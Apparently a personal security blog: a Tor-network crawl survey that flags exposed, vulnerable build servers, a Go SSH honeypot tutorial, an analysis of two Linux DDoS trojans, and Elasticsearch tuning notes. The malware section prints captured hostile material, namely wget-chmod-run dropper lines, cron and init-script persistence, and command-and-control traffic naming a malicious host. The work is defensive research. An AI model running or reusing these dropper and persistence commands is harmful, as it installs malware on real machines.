{ Josh Rendek }

<3 Ruby & Go

The goal of this project was to start with a base directory (in this case The Hidden Wiki) and start spidering out to discover all reachable Tor servers. Some restrictions were placed on this after a few trial runs:

  • Only HTML/JSON was parsed/spidered for more links to follow (no jpegs/xml, etc)
  • There were a few skipped websites, noteably: Facebook, Reddit, and a few Blockchain websites due to the amount of spidering/time that would be required
  • Limited to 10k visits per host so we wouldn’t infinitely keep spidering / some reasonable time frame to finish
  • Non 200 OK status responses were skipped

Table of Contents

Stack & Tools

I used a few different tools to build this out:

  • HA Proxy to load balance between tor SOCKs proxies so multiple could be run at the same time to saturate a network link
  • Redis to store state information about visits
  • Golang for the spidering
  • Postgres for data storage

This was all run on a single dedicated server over the period of about 1 week, multiple prototypes ran before that to flush out bugs.

Crawl Stats

Metric Count
Total Hosts 107,067
Total Scanned Pages 14,177,383
Total Visited (non-200+) 17,038,091

Security Headers

Technology % using
Content Security Policy (CSP) 0.15%
Secure Cookie 0.01%
– httpOnly 0%
Cross-origin Resource Sharing (CORS) 0.07%
– Subresource Integrity (SRI) 0%
Public Key Pinning (HPKP) 0.01%
Strict Transport Security (HSTS) 0.11%
X-Content-Type-Options (XCTO) 0.52%
X-Frame-Options (XFO) 0.58%
X-XSS-Protection 0%

Some of these headers are interesting when viewed through a Tor light. HSTS and HPKP for example, can be used for super cookies and tracking (although tor does protect against this across new identities) (source).

Services implementing CORS also help protect users by preventing cookie finger printing via scripts and other malicious finger printing methods.

Software Stats

We can fingerprint and figure out exposed software by taking a look at a few different signatures, like cookies and headers. There are other methods to fingerprint using the response body but due to server restrictions and time I couldn’t save every single page source, so the results based on headers/titles are below:

Source code hosting

Software Type Identifier
Gitea Cookie i_like_gitea [src]
GitLab Cookie gitlab_session [src]
Gogs Forked version has header X-Clacks-Overhead: GNU Terry Pratchett from NotABug.org

Build Servers

I’m going to focus on build servers because I think this is the most easy to breach front. Not only has Jenkins had some serious RCE’s in the past, it is very helpful in identifying itself with headers and debug information as seen below. People also generally store sensitive information in build servers as well, such as SSH keys and cloud provider credentials.

 1 | X-Jenkins-Session: 8965d09b
 2 | X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAA.....
 3 | Server: Jetty(9.2.z-SNAPSHOT)
 4 | X-Xss-Protection: 1
 5 | X-Jenkins: 2.60.1
 6 | X-Jenkins-Cli-Port: 46689
 7 | X-Content-Type-Options: nosniff nosniff
 8 | X-Frame-Options: sameorigin sameorigin
 9 | X-Hudson-Theme: default
10 | X-Jenkins-Cli2-Port: 46689
11 | Referrer-Policy: same-origin
12 | Content-Type: text/html;charset=UTF-8
13 | X-Hudson: 1.395
14 | X-Hudson-Cli-Port: 46689
15 | Set-Cookie: JSESSIONID.112b5e69=16uts5qfqz6j....Path=/;Secure;HttpOnly

We can get Jenkins version, CLI ports, and Jetty versions all from just visiting the host.

Software Type Identifier
Jenkins Headers X-Jenkins- and X-Hudson- style headers
GitLab Cookie gitlab_session
Gocd Cookie Path / Title Generally sets a cookie path at /go and uses - Go in <title> tags
Drone Title Sets a drone title

Unfortunately I was unable to find any exposed Gocd or Drone servers.

Software Tracking

Software Type Identifier
Trac Cookie trac_session
Redmine Cookie redmine_session

I was not able to find any running BugZilla, Mantis or OTRS instances.

Total with Server Header: 15,630

Total without header: 91,437

Top 10 (full list of 282 available for download)

 1 nginx | 9619
 2 Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips PHP/5.6.30 | 2659
 3 Apache | 1056
 4 nginx/1.6.2 | 249
 5 nginx/1.13.1 | 210
 6 Apache/2.4.10 (Debian) | 161
 7 Apache/2.4.18 (Ubuntu) | 100
 8 Apache/2.2.22 (Debian) | 90
 9 Apache/2.4.7 (Ubuntu) | 82
10 lighttpd/1.4.31 | 80
11 FobbaWeb/0.1 | 78
Full list available here

Just from the Server header we can gather a bunch of useful information:

  • 2,659 servers are running a potentially vulnerable OpenSSL version (1.0.1e) [vulns] and vulnerable Apache version [vulns]
  • Many servers are leaving the OS tag on, revealing a mix of operating systems. I think it’s also a safe assumption to say the same people who would leave fingerprinting on will also be using the OS package of these servers, making it easy to combine both OS vulnerabilities and web server vulnerabilities to combine attack vectors:
    • CentOS
    • Debian
    • Ubuntu
    • Windows
    • Raspbian
    • Amazon Linux
    • Fedora
    • Red Hat
    • Trisquel
    • YellowDog
    • FreeBSD
    • Scientific Linux
    • Vine
  • Some people are exposing application servers directly:
    • thin
    • node-static
    • gunicorn
    • Mojolicious
    • WSGI
    • Jetty
    • GlassFish
  • Very old versions of IIS (5.0/6.0), Apache (1.3), and Nginx
  • Nginx appears to dominate the server share on Tor - just taking the top 2 in account, nginx is at least 3.5x as popular as Apache


This was a fun project to work on and I learned quite a bit about scaling up the tor binary in order to scan the network faster. I’m hoping to make this process a bit less manual and start publishing these results regularly over at my security data website, https://hnypots.com

Have any suggestions for other software to look for? Leave a comment and let me know!

I’ve been running https://sshpot.com/ for a while now - and decided it needed to be revamped and overhauled - and thought I’d make a presentation and write up some details on the process as well. If you’d like to just view the slides, hop over here.

If you’re just looking for the source code:

Table of Contents

Design goals

I wanted to make sure this was an improvement over the previous iteration, so I laid out several goals for the rewrite:

  • Appear more ‘vulnerable’
  • Correlate commands/sessions (old version just logged data)
  • Proxy requests and capture data
  • Better statistics
  • Redesigned command simulation using interfaces instead of simple string matching

Some important steps the honeypot must do:

  • generate a new private key pair for the server on every boot (appear like a fresh server)
  • Advertise a vulnerable version - Check past CVE’s if you want to target a specific one. Important the banner must start with SSH-2.0 or the client won’t handshake
  • Must listen on port 22, so you should move the actual SSHD to port 2222 (or any other port, for example)
  • Do the SSH handshake
  • Handle requests

Appearing More Vulnerable

We need to create an SSH config for the ssh package to use when constructing a new object. An important thing to note here is the SSH-2.0 prefix to the ServerVersion - if that is missing the client will do weird things (including not connecting).

1 sshConfig := &ssh.ServerConfig{
2 		PasswordCallback:  passAuthCallback,
3 		PublicKeyCallback: keyAuthCallback,
4 		ServerVersion:     "SSH-2.0-OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013", // old and vulnerable!
5 	}

Correlating Sessions and Commands

In order to correlate requests we can use the permission extension in the ssh package to store a map of data - in our case, a simple GUID to keep state across requests. This could also be used to store a user id or some other type of session identifier, for instance, if you were trying to write your own replacement ssh daemon to do things like serving up git requests.

 1 func passAuthCallback(conn ssh.ConnMetadata, password []byte) (*ssh.Permissions, error) {
 2 	guid := uuid.NewV4()
 3 	ip, remotePort := parseIpPortFrom(conn)
 4 	login := SshLogin{RemoteAddr: ip,
 5 		RemotePort: remotePort,
 6 		Username:   conn.User(),
 7 		Password:   string(password),
 8 		Guid:       guid.String(),
 9 		Version:    string(conn.ClientVersion()),
10 		LoginType:  "password",
11 	}
12 	login.Save()
13 	return &ssh.Permissions{Extensions: map[string]string{"guid": guid.String()}}, nil
14 }

We want to capture as much metadata about the connection as possible, as well as capture public keys that are available when the attacker is using an ssh-agent - this can help us in the future to possibly identify bad actors. Here we marshal the public key and capture the key type being sent.

 1 func keyAuthCallback(conn ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
 2 	guid := uuid.NewV4()
 3 	ip, remotePort := parseIpPortFrom(conn)
 4 	login := SshLogin{RemoteAddr: ip,
 5 		RemotePort: remotePort,
 6 		Username:   conn.User(),
 7 		Guid:       guid.String(),
 8 		Version:    string(conn.ClientVersion()),
 9 		PublicKey:  key.Marshal(),
10 		KeyType:    string(key.Type()),
11 		LoginType:  "key",
12 	}
13 	go login.Save()
14 	//log.Println("Fail to authenticate", conn, ":", err)
15 	//return nil, errors.New("invalid authentication")
16 	return &ssh.Permissions{Extensions: map[string]string{"guid": guid.String()}}, nil
17 }

Proxying Requests and Capturing Data

Now we can talk about proxying requests. I’m going to throw some code at you then explain below:

 1 func HandleTcpReading(channel ssh.Channel, term *terminal.Terminal, perms *ssh.Permissions) {
 2 	defer channel.Close()
 3 	for {
 4 		// read up to 1MB of data
 5 		b := make([]byte, 1024*1024)
 6 		_, err := channel.Read(b)
 7 		if err != nil {
 8 			if err.Error() == "EOF" {
 9 				return
10 			}
11 		}
12 		read := bufio.NewReader(strings.NewReader(string(b)))
13 		toReq, err := http.ReadRequest(read)
14 		// TODO: https will panic atm - not supported
15 		if err != nil {
16 			log.Println("Error parsing request: ", err)
17 			return
18 		}
19 		err = toReq.ParseForm()
20 		if err != nil {
21 			log.Println("Error parsing form: ", err)
22 			return
23 		}
24 		url := fmt.Sprintf("%s%s", toReq.Host, toReq.URL)
26 		httpReq := &HttpRequest{
27 			Headers:  toReq.Header,
28 			URL:      url,
29 			FormData: toReq.Form,
30 			Method:   toReq.Method,
31 			Guid:     perms.Extensions["guid"],
32 			Hostname: toReq.Host,
33 		}
35 		client := &http.Client{}
36 		resp, err := client.Get(fmt.Sprintf("http://%s", url))
37 		if err != nil {
38 			log.Fatalf("Body read error: %s", err)
39 		}
41 		defer resp.Body.Close()
42 		body, err2 := ioutil.ReadAll(resp.Body)
43 		if err2 != nil {
44 			log.Fatalf("Body read error: %s", err2)
45 		}
46 		httpReq.Response = string(body)
47 		httpReq.Save()
49 		log.Printf("[ http://%s ] %s", url, body)
51 		channel.Write(body)
52 		// make the http request
54 		//if resp, ok := httpHandler[url]; ok {
55 		//	channel.Write(resp)
56 		//} else {
57 		//	channel.Write([]byte(""))
58 		//}
59 		channel.Close()
60 	}
61 }

On line 5 we’re going to read directly from the TCP connection, and only up to 1MB of data - if we get an EOF we’ll return. Next on line 1213 we’re using a nice part of the http package that lets us take a raw stream of TCP bytes and convert it to the appropriate HTTP request that its asking for (like GET /foobar) and handling all the other headers/post params.

After getting the TCP request into something we can work with more easily, we parse out any form params on line 19, and then we reconstruct the url to visit on line 24.

Line 26 is using our persistence struct to save everything that has come in so far.

Line 25 and line 54 can be interchanged. For my honeypots I’m actually making the raw requests that they’re asking for (only GETs) - the other option is using the httpHandler struct and create dummy responses for various websites. After we make the raw request we store the response in our persistence struct and save it to the API on line 4647.

Finally on line 59 we close the channel to tell the client that data has been returned and is done.

Handling requests

The biggest portion of handling requests is accepting them and sending them off to be handled by the channel handler - which will be incoming commands and tcp connections. We loop to handle connections and perform the handshake for each new request.

 1 for {
 2 		tcpConn, err := listener.Accept()
 3 		if err != nil {
 4 			log.Printf("failed to accept incoming connection (%s)", err)
 5 			continue
 6 		}
 7 		// Before use, a handshake must be performed on the incoming net.Conn.
 8 		sshConn, chans, reqs, err := ssh.NewServerConn(tcpConn, sshConfig)
 9 		if err != nil {
10 			log.Printf("failed to handshake (%s)", err)
11 			continue
12 		}
14 		// Check remote address
15 		log.Printf("new ssh connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
17 		// Print incoming out-of-band Requests
18 		go handleRequests(reqs)
19 		// Accept all channels
20 		go handleChannels(chans, sshConn.Permissions)
21 	}

On line 18 we just log out of band requests that aren’t what we want. Line 20 handles the meat and potatoes of our programs which is incoming commands and SOCKS proxy requests. We do both of these in go routines so multiple clients can connect at once.

The next important step is handling both out of band requests and incoming TPC connections - jump to the end of the codelbock for an explanation.

  1 func handleChannels(chans <-chan ssh.NewChannel, perms *ssh.Permissions) {
  2 	// Service the incoming Channel channel.
  3 	for newChannel := range chans {
  4 		channel, requests, err := newChannel.Accept()
  5 		if err != nil {
  6 			log.Printf("could not accept channel (%s)", err)
  7 			continue
  8 		}
 10 		var shell string
 11 		shell = os.Getenv("SHELL")
 12 		if shell == "" {
 13 			shell = DEFAULT_SHELL
 14 		}
 16 		if newChannel.ChannelType() == "direct-tcpip" {
 17 			term := terminal.NewTerminal(channel, "")
 18 			go HandleTcpReading(channel, term, perms)
 19 		}
 21 		// Sessions have out-of-band requests such as "shell", "pty-req" and "env"
 22 		go func(in <-chan *ssh.Request) {
 23 			for req := range in {
 24 				term := terminal.NewTerminal(channel, "")
 25 				handler := NewCommandHandler(term)
 26 				handler.Register(&Ls{}, &LsAl{},
 27 					&Help{},
 28 					&Pwd{},
 29 					&UnsetHistory{},
 30 					&Uname{},
 31 					&Echo{},
 32 					&Whoami{User: "root"},
 33 				)
 35 				log.Printf("Payload: %s", req.Payload)
 36 				ok := false
 37 				switch req.Type {
 38 				// exec is used: ssh [email protected] 'some command'
 39 				case "exec":
 40 					ok = true
 41 					command := string(req.Payload[4 : req.Payload[3]+4])
 43 					cmdOut, newLine := handler.MatchAndRun(command)
 44 					term.Write([]byte(cmdOut))
 45 					if newLine {
 46 						term.Write([]byte("\r\n"))
 47 					}
 49 					shellCommand := &ShellCommand{Cmd: command, Guid: perms.Extensions["guid"]}
 50 					go shellCommand.Save()
 52 					channel.Close()
 53 				// shell is used: ssh [email protected] ... then commands are entered
 54 				case "shell":
 55 					for {
 56 						term.Write([]byte("[email protected]:/# "))
 57 						line, err := term.ReadLine()
 58 						if err == io.EOF {
 59 							log.Printf("EOF detected, closing")
 60 							channel.Close()
 61 							ok = true
 62 							break
 63 						}
 64 						if err != nil {
 65 							log.Printf("Error: %s", err)
 66 						}
 68 						cmdOut, newLine := handler.MatchAndRun(line)
 69 						term.Write([]byte(cmdOut))
 70 						if newLine {
 71 							term.Write([]byte("\r\n"))
 72 						}
 74 						shellCommand := &ShellCommand{Cmd: line, Guid: perms.Extensions["guid"]}
 75 						go shellCommand.Save()
 77 						log.Println(line)
 78 					}
 79 					if len(req.Payload) == 0 {
 80 						ok = true
 81 					}
 82 				case "pty-req":
 83 					// Responding 'ok' here will let the client
 84 					// know we have a pty ready for input
 85 					ok = true
 86 					// Parse body...
 87 					termLen := req.Payload[3]
 88 					termEnv := string(req.Payload[4 : termLen+4])
 89 					log.Printf("pty-req '%s'", termEnv)
 90 				default:
 91 					log.Printf("[%s] Payload: %s", req.Type, req.Payload)
 92 				}
 94 				if !ok {
 95 					log.Printf("declining %s request...", req.Type)
 96 				}
 98 				req.Reply(ok, nil)
 99 			}
100 		}(requests)
101 	}
102 }

On line 16 we’re sending the TCP reading off to another function to get handled - the rest of the requests coming in out-of-band will be handled in the function on line 22.

On line 24 we use the terminal package to create a new terminal for reading input and sending output back to the user. Line 25 is our command handler which will do the regex and pattern matching.

Our case/switch statement is doing the heavy lifting here starting on line 39.

Now we need to understand the different types of SSH connections and requests that can be made:

  • (line 16) direct-tcpip is what happens when you use your SSH connection to proxy TCP connections (like a SOCKS proxy).

  • (line 39) exec is what happens when you run commands like ssh some [email protected] ‘ls -al’

  • (line 54) shell is what happens when you actually login and start executing commands, a PTY gets launched and you have an interactive command prompt.

  • (line 82) pty-req lets the SSH client know that its ready to accept input (works in conjunction with shell).

These are all the command types we care about for now.

Simulating Commands

A few things we need to keep in mind for this part of the honeypot:

  • Need to simulate commands that are run by attackers
  • Go’s interface pattern fits well here
  • Need to understand command return values
    • Does the command return a new line?
    • If output doesn’t match (including new lines) it may throw off bots/scripts that check for exact output matching
  • Need to be able to match commands based on regex or equality
    • Needs to handle commands like:
      • echo -n test
      • echo test
      • echo foo bar baz
    • Don’t want to write a handler for each variation of a command with flags - would never cover all cases

So with all that in mind lets lay out a framework for the command handler. We need something to register all of our commands, and then a structure for our commands to be run consistently.

 1 type CommandHandler struct {
 2 	Terminal *terminal.Terminal
 3 	Commands []Command
 4 }
 6 func NewCommandHandler(term *terminal.Terminal) *CommandHandler {
 7 	return &CommandHandler{Terminal: term, Commands: []Command{}}
 8 }
10 func (ch *CommandHandler) Register(commands ...Command) {
11 	for _, c := range commands {
12 		ch.Commands = append(ch.Commands, c)
13 	}
14 }
16 func (ch *CommandHandler) MatchAndRun(in string) (string, bool) {
17 	for _, c := range ch.Commands {
18 		if c.Match(strings.TrimSpace(in)) {
19 			return c.Run(in)
20 		}
21 	}
22 	return fmt.Sprintf("bash: %s: command not found", in), false
23 }
25 type Command interface {
26 	Match(string) bool
27 	Run(string) (string, bool)
28 }
30 type Echo struct{}
32 func (c *Echo) Match(in string) bool {
33 	return strings.Contains(in, "echo")
34 }
36 func (c *Echo) Run(in string) (string, bool) {
37 	x := strings.Split(in, " ")
38 	newLine := true
39 	if len(x) >= 2 {
40 		if x[1] == "-n" {
41 			newLine = false
42 		}
43 	}
44 	if len(x) == 1 {
45 		return "", true
46 	}
47 	startPos := 1
48 	if strings.Contains(x[1], "-") {
49 		if len(x) >= 2 {
50 			startPos = 2
51 		}
52 	}
54 	return strings.Join(x[startPos:len(x)], " "), newLine
55 }

On lines 1 and 6 we’re creating our CommandHandler which will be where all commands get registered to and where we store our terminal to write to.

Line 10 lets us register 1...n commands at once using go’s variadic argument syntax.

Line 16 is our runner that will take in the input from attacker and run it through our registered commands. We return the command output and also whether or not it will output a newline at the end. If no command is registered that will match, we return the generic bash command not found.

Line 25 is our interface definition. We have two functions, Match and Run. Run follows the MatchAndRun pattern where we returns the command output and whether or not a newline is needed. The meat of this command can do wahtever you want it to do - in this case we’re checking for some specific flags that I’ve seen used on the honeypot and parsing them out.

The Match portion in this case is just a simple Contains check - you can do whatever you want in this portion - it just needs to return a boolean. Go nuts with regexes or just do a simple equality check.

Persistence Layer

For our persistence layer their isn’t anything special going on. We have a few configurable options via ENV vars, ability to skip sending commands to the remote, and ability to provide a SERVER_URL to dev against the local rails application.

Now that we have a working honeypot that is able to accept logins, simulate and record commands, we can start analyzing dropped files.

Analyzing Dropped Files

Tools we’ll be using from OS X (please note this is not exhaustive):

  • Virtualbox
  • Docker (docker-machine on OS X)
  • Wireshark
  • VirusTotal

We’re going to use wireshark to process PCAP files generated by Wireshark, so we’ll need to tell VirtualBox to create the network capture:

/Applications/VirtualBox.app/Contents/MacOS/VBoxManage modifyvm default --nictrace1 on --nictracefile1 /tmp/log.pcap

You may need to stop the docker container for this command to generate pcap files

We can exec into the container to check running processes and see other commands being run.

We’ll be using docker to dump a clean image and an infected image, in order to see what files were modified and/or dropped onto the file system:

docker export container_id > container.tar
tar xvf container.tar -C container-dump

What you want to do in order to get a clean a dump as possible:

  • Run a plain ubuntu container docker run -it ubuntu bash to get into it and at the console
  • Run any commands you want (like apt-get update or apt-get install wget or whatever other tools you think you will need)
  • Save the “comparison” container using docker export then extract it into a folder

Now when running the malware (assuming its in the current directory):

docker run -it --volume=`pwd`:/malware:ro ubuntu bash

Repeat the same commands you ran above in the “comparison” container (or save it as an image and spawn from that).

Now you can exec into your container and run the malware. Depending on how comfortable you are with monitoring your own network you should be doing this on an isolated network. Now to running the two malware samples we’ll be going over today:


Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a
sha256: acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25
md5: 63f286aa32a4baaa8b0dd137eb4b3361

Initial look:

  • C&C trojan
  • Drops multiple copies of itself
  • Will randomly spawn processes and change process names

Process output

[email protected]:/malware# ps ax
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   72 ?        Ss     0:00 bash
   75 ?        Ss     0:00 pwd
   78 ?        Ss     0:00 route -n
   80 ?        Ss     0:00 grep "A"
   81 ?        Ss     0:00 whoami
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
   99 ?        R+     0:00 ps ax
  100 ?        Ss     0:00 su
  102 ?        R      0:00 /usr/bin/nnqucjsvsp who 21
[email protected]:/malware# ps ax
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
  100 ?        Ss     0:00 su
  102 ?        Ss     0:00 who
  103 ?        Ss     0:00 id
  104 ?        R+     0:00 ps ax
[email protected]:/malware# ps ax
    1 ?        Ss     0:00 bash
   21 ?        Ssl    0:00 netstat -antop
   93 ?        Ss     0:00 cat resolv.conf
   96 ?        Ss     0:00 whoami
  100 ?        Ss     0:00 su
  102 ?        Ss     0:00 who
  103 ?        Ss     0:00 id

Network Traffic

Frame 523: 271 bytes on wire (2168 bits), 271 bytes captured (2168 bits)
Ethernet II, Src: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9), Dst: RealtekU_12:35:02 (52:54:00:12:35:02)
Internet Protocol Version 4, Src:, Dst:
Transmission Control Protocol, Src Port: 39433 (39433), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 217
Hypertext Transfer Protocol
    GET /config.rar HTTP/1.1\r\n
        [Expert Info (Chat/Sequence): GET /config.rar HTTP/1.1\r\n]
        Request Method: GET
        Request URI: /config.rar
        Request Version: HTTP/1.1
    Accept: */*\r\n
    Accept-Language: zh-cn\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)\r\n
    Host: aa.hostasa.org\r\n
    Connection: Keep-Alive\r\n
    [Full request URI: http://aa.hostasa.org/config.rar]
    [HTTP request 1/1]
    [Response in frame: 537]

Dropped Files

2 binaries were dropped onto the file system, which looked to be copies of itself:

  • g7hs-dump/usr/bin/filupxsndj
    • sha256: 3657bd42fef97343c78a199d3611285e6fe7b88cc91e127d17ebbbbb2fd2f292
    • Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a
  • g7hs-dump/lib/libudev.so
    • sha256: acbccef76341af012bdf8f0022b302c08c72c6911631f98de8d9f694b3460e25
    • Common name: HEUR:Trojan-DDoS.Linux.Xarcen.a

Several other plain text files were dropped in order to ensure startup:


for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6


*/3 * * * * root /etc/cron.hourly/gcc.sh


# chkconfig: 12345 90 90
# description: filupxsndj
# Provides:            filupxsndj
# Required-Start:
# Required-Stop:
# Default-Start:      1 2 3 4 5
# Default-Stop:
# Short-Description:  filupxsndj

case $1 in
















So we can see several things going on: dropped files, additional payload downloads, tries to persist itself in as many places as possible, masks its presence with different process names. These two pieces of malware were the first ones I’ve analyzed (ever) so I don’t have much indepth analysis other than what I was able to gather from network traffic and observations through docker. For a more detailed write up Kaspersky has a great writeup, including reversed source code.

DDOS.Flood / DnsAmp

Common name: DDOS.Flood / DnsAmp
sha256: d9d58fb1f562e7c22bb67edf9dc651fa8bc823ff3e8aecc04131c34b5bc8cf03
md5: b589c8a722b5c35d4bd95487b47f8b8b

Initial look:

  • Initial payload is a shell script
  • Another DDOS type malware
  • Drops several binaries that cover as many architectures as possible (ARM/MIPS/etc)
  • Masks itself as system interrupt process (irq)
  • Uses IRC + HTTP for communication
  • Connects to 2 IPs:
    • Running on AWS, most likely compromised.
    • Running somewhere in Australia.
  • Initial payload is a bash script

Dropped Files

Initial Payload

wget -c -P /var/run && chmod +x /var/run/tty0 && /var/run/tty0 &
wget -c -P /var/run && chmod +x /var/run/tty1 && /var/run/tty1 &
wget -c -P /var/run && chmod +x /var/run/tty2 && /var/run/tty2 &
wget -c -P /var/run && chmod +x /var/run/tty3 && /var/run/tty3 &
wget -c -P /var/run && chmod +x /var/run/tty4 && /var/run/tty4 &
wget -c -P /var/run && chmod +x /var/run/tty5 && /var/run/tty5 &
wget -c && chmod +x pty && ./pty &
wget -c -P /var/run && chmod +x /var/run/pty && /var/run/pty &
rm -rf /var/run/1sh


# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/run/.x001804289383 installed on Tue May 17 21:20:29 2016)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * /run/pty > /dev/null 2>&1 &

Network Traffic

Port 8080

Frame 4660: 556 bytes on wire (4448 bits), 556 bytes captured (4448 bits)
Ethernet II, Src: RealtekU_12:35:02 (52:54:00:12:35:02), Dst: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9)
Internet Protocol Version 4, Src:, Dst:
Transmission Control Protocol, Src Port: 8080 (8080), Dst Port: 46783 (46783), Seq: 17, Ack: 85, Len: 502
Hypertext Transfer Protocol
    :[email protected] PRIVMSG x86|x|0|344265|a31f446d :\001VERSION\001\r\n
    :izu.ko 001 x86|x|0|344265|a31f446d :\n
    :izu.ko 002 x86|x|0|344265|a31f446d :\n
    :izu.ko 003 x86|x|0|344265|a31f446d :\n
    :izu.ko 004 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 005 x86|x|0|344265|a31f446d :\n
    :izu.ko 375 x86|x|0|344265|a31f446d :\n
    :izu.ko 372 x86|x|0|344265|a31f446d :- 27/10/2014 11:36\r\n
    :izu.ko 372 x86|x|0|344265|a31f446d :- !!\r\n
    :izu.ko 376 x86|x|0|344265|a31f446d :\n

Frame 4665: 257 bytes on wire (2056 bits), 257 bytes captured (2056 bits)
Ethernet II, Src: RealtekU_12:35:02 (52:54:00:12:35:02), Dst: CadmusCo_26:3d:b9 (08:00:27:26:3d:b9)
Internet Protocol Version 4, Src:, Dst:
Transmission Control Protocol, Src Port: 8080 (8080), Dst Port: 46783 (46783), Seq: 519, Ack: 393, Len: 203
Hypertext Transfer Protocol
    :x86|x|0|344265|[email protected] JOIN :#x86\r\n
    :izu.ko 332 x86|x|0|344265|a31f446d #x86 :https://www.youtube.com/watch?v=dDp3lfE_In8\r\n
    :izu.ko 333 x86|x|0|344265|a31f446d #x86 Jorgee 1463456542\r\n


I can see several things happening here, the most interesting I think is the multiple architecture support - perhaps trying to compromise routers and other smaller IoT devices that are running ARM or other mobile processors. It tries to mask itself as a pty process and then installs itself in crontab. Finally it does some communication over IRC in plain text. Based on the limited network communication I saw, I’m guessing this might belong to a Spanish hacker group (from the youtube link) - or it might just be a coincidence of what I saw while executing the malware.

Building the Honeypot Network

Finding cheap hosts is important, we don’t care about a lot of the niceties we’d normally want in a VPS provider or cloud provider (like DO or AWS) - what we want is a cheap isolated environment to run our honeypots in (either cheaper kvm/xen, or even cheaper openvz). To that end, serverbear.com is great for simple price comparison shopping.

I currently am still trying to find the best locations and providers to use but have a mix of OpenVZ and KVM instances running. The main OS is Ubuntu, however any flavor of linux will do since the go binary will be compatible on any of them.

And finally, in order to get the best representation of activity, it’s best to spread the servers out globally so you can get a wide geographic coverage (Europe, America, Asia, etc).

Future plans

  • Payload downloading
    • Download the payloads as they get ‘executed’ on the honeypot
  • Automate analysis
    • Automate using docker and other tools to produce reliable analysis output
  • More honeypots
    • Right now I’m only running 6 - each is about $2-5/month
  • Automate WHOIS lookups
    • Automate abuse complaint sends and track which providers are actually monitoring and care about what their networ is used for
  • More services
    • Expand honeypot protocols to FTP, HTTP Proxies (Polipo, Squid, etc), etc

Performance before and after Optimizations

When working with billions of documents in your Elasticsearch cluster, there are a few important things to keep in mind:

  • Look at what the big players do (Elasticsearch/Kibana) for organization and planning
  • Experiment with index sizes that make sense for your business, don’t just assume 1 index for a billion documents is a good idea (even if you N shards)
  • Understand which metrics to monitor when you are performance testing your cluster
  • Monitor all points of ingestion: Elasticsearch, Load balancers (ELB, HAProxy, etc), and your application code that is inserting

What do the big players do?

Split by date ranges. Based on your data, decide whether daily, weekly, or even monthly splits are best for your dataset. Elasticsearch reccomends not going over 30-32G per shard based on current JVM memory reccomendations. The reason they reccomend to stay below 32G of ram per shard is that after that, the JVM will use uncompressed pointers which means internal pointers go from 4 bytes to 8 bytes, which (depending on your memory size) can lead to decreased heap available and also increased GC times from the JVM.

Don’t allocate more than 50% of your system memory for the JVM. Your kernel will cache files and help keep performance up. Over-allocating the JVM can lead to poor performance from the underlying engine, Lucene, which relies on the OS cache as well as the JVM to do searches.

Understand your users: other devs, other systems, etc. Don’t do deep pagination instead, use scan and scroll. Turn on slow logging to find any queries doing this or returning to many points of data per query.

Index Sizing and Memory

Keeping in mind the 30-32G per shard reccomendation, this will determine the number of shards per dataset. Remember shards are not modifiable but replicas are. Shards will increase indexing performance, while replicas will increase search performance.

Overwhelmed and can’t figure out what to do? Just start with an index and see how things go. Using alias’s you can create another index later on and map both of them together for searching (and eventually delete the old one if the data expires). If you start out with alias’s being used, transitions can be seemless (no need to redeploy to point to the new alias/index name).

Metrics to monitor

Use the plugin community to monitor your cluster: ElasticHQ, BigDesk, Head and Paramedic.

Watch for refresh/merge/flush time (ElasticHQ makes this available under Node Diagnostics). For example, with a large index (1TB) that has frequent updates or deletions, in order for the data to actually be freed from the disk and cluster fully, a merge must be performed. When the number of segments in a cluster gets to large, this can cause issues for refreshing and merging.

The basic idea is the larger your index, the more segments, and the more optimization steps that need to be performed. Automatic flushes happen every few seconds so more segments get created - as you can imagine this gets compounded the larger your index is. You can see a full rundown of how deleting and updating works in the documentation.

By seperating our indexes into smaller datasets (by day, week, or month) we can eliminate some of the issues that pop up. For example, a large number of segments can cause search performance issues until an optmize command is run (which in itself can cause high IO and make your search unavailable). By reducing the data we reduce the time these operations can take. We also end up at a point where no new data is inserted into the old indexes, so no further optimizations need to be done on them, only new indexes. Any acitivity on the old indexes then should only be from searching and will reduce the IO requirements from the cluster for those shards/indexes.

This also greatly simplifies purging old data. Instead of having to have the cluster do merges and optimizations when we remove old documents, we can just delete the old indexes and remove them from the aliases. This will also reduce the IO overhead on your cluster.

Monitoring Ingestion

Watch your ELB response time - is it spiking? Check flush, merge, and indexing times.

Add logging to your posts to understand how long each bulk insert is taking. Play with bulk sizes to see what works best for your document/datasize.

When moving from a single large index to aliased indexes, insertion times went from 500ms-1.5s+ to 50ms on average. Our daily processes that were taking half a day to complete, finishing in less than 15 minutes.

Processing 5k log lines per minute? Now we’re processing over 6 million.

Taking the time to understand your database and how each part of it works can be worth the effort especially if you’re looking for performance gains.

If you’ve done any concurrency work in Go you’ve used WaitGroups. They’re awesome!

Now lets say you have a bunch of workers that do some stuff, but at some point they all need to hit a single API that your rate limited against.

You could move to just using a single process and limiting it that way, but that doesn’t scale out very well.

While there are quite a few distributed lock libraries in Go, I didn’t find any that worked similarly to WaitGroups, so I set out to write one.

